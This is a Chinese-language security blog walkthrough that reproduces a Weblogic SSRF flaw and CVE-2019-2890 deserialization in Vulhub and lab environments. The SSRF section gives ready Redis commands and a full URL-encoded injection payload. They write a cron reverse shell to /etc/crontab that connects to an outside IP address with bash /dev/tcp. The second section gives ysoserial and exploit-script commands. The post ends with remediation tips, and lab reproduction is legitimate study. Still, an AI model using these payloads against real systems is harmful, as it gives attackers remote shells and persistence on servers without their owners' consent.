Weblogic-SSRF漏洞

环境准备

  • 这里直接使用Vulhub/weblogic/ssrf
  • 使用以下命令启动漏洞环境,访问http://ip:7001/uddiexplorer/,可以看到uddiexplorer应用即搭建成功。
$ docker-compose up -d  # 启动

Weblogic-ssrf-1

漏洞复现

  • 该漏洞位于uddiexplorer/SearchPublicRegistries.jsp,点击左侧Search Public Registries功能来到SearchPublicRegistries.jsp页面,点击Search并使用Burp抓包
  • 将其中的operator参数修改为想要探测的http://IP:Port,如http://127.0.0.1:7001

Weblogic-ssrf-2

  • 再访问一个不存在的端口进行测试

Weblogic-ssrf-3

  • 这里有几种返回结果,因此可以根据不同的返回结果去探测内网相关信息

    • 可访问的端口,会发生错误,一般是返回状态码,如404
    • 不存在的端口,将返回could not connect over HTTP to server
    • 非HTTP协议,则会返回did not have a valid SOAP content-type

反弹Shell

通过此SSRF漏洞,还可以对目标内网中的Redis服务器进行攻击。原因是因为这里可以通过传入%0a%0d来注入换行符,而Redis是通过换行符来分隔每条命令的
  • 这一步的时候发现Redis服务一直不能正常启动,报Exited (139)错误,根据Issue #46所说可能是Kali下Docker的兼容性问题,最后在VPS上重新搭建Vulhub进行复现

Weblogic-ssrf-4

  • 首先通过前面的SSRF漏洞探测内网中是否存在Redis服务(默认6379端口),Docker环境的网段一般是172.*。这里复现测试所以直接进入Redis对应的容器中查看IP
$ docker ps -a                   # 查看容器ID
$ docker exec -it <容器ID> bash  # 进入容器

Weblogic-ssrf-5

  • 这里可以看到是172.19.0.2,探测一下6379端口

Weblogic-ssrf-6

  • 发送Redis命令,将反弹Shell脚本写入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.113.106.101/20000 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

  • 将Payload进行URL编码,然后直接拼接到URL后,其中%0d0a为换行符
operator=http://172.19.0.2:6379/test
%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%30%2e%31%2f%32%30%30%30%30%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65
test

Weblogic-ssrf-7

  • 可以发现攻击机成功接到Shell

Weblogic-ssrf-7

参考

Weblogic-反序列化漏洞

漏洞简介

Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。该漏洞通过T3协议发送恶意的反序列化数据绕过了Weblogic的黑名单,成功反序列化执行任意命令。但该漏洞利用条件较高,官方也归类为需要身份认证。

这个漏洞需要满足以下两个条件:

  1. Weblogic开启T3协议
  2. 可以获取到SerializedSystemIni.dat文件
  • 影响版本

    • WebLogic Server 10.3.6.0
    • WebLogic Server 12.1.3.0
    • WebLogic Server 12.2.1.3

环境准备

  • 靶机:Win 7(部署Weblogic),192.168.8.37
  • 攻击机:Kali,192.168.8.23

漏洞复现

  • 攻击机下载漏洞利用工具SukaraLin/CVE-2019-2890
  • 在靶机的weblogic项目中找到SerializedSystemIni.dat文件,复制到工具目录的security目录下。文件中存在一个加密的Key,这个Key实际上每个weblogic都不一样,所以官方给这个漏洞评价为授权状态下Getshell。

Weblogic-CVE-2019-2890-1

Weblogic-CVE-2019-2890-2

  • weblogic/wsee/jaxws/persistence/PersistentContext.java中的 getObject 修改为攻击机IP地址和端口

Weblogic-CVE-2019-2890-3

  • ysoserial.jar移动到libs目录,执行以下命令,这里弹个计算器
$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"

Weblogic-CVE-2019-2890-4

  • 运行Poc.java生成poc.ser序列化文件。(这一步我是在win10环境下编译的,注意需要复制一份SerializedSystemIni文件以及修改PersistentContext.java 的IP地址端口)

Weblogic-CVE-2019-2890-5

  • 最后在攻击机中运行以下命令:
$ python weblogic.py <靶机IP> <靶机端口> poc.ser

Weblogic-CVE-2019-2890-6

Weblogic-CVE-2019-2890-7

修复建议

  • 如果不依赖T3协议进行JVM通信,可禁用T3协议
  • 排查弱口令
  • 升级补丁

参考

最后修改:2020 年 08 月 07 日 08 : 52 PM
如果觉得我的文章对你有帮助,请我吃颗糖吧~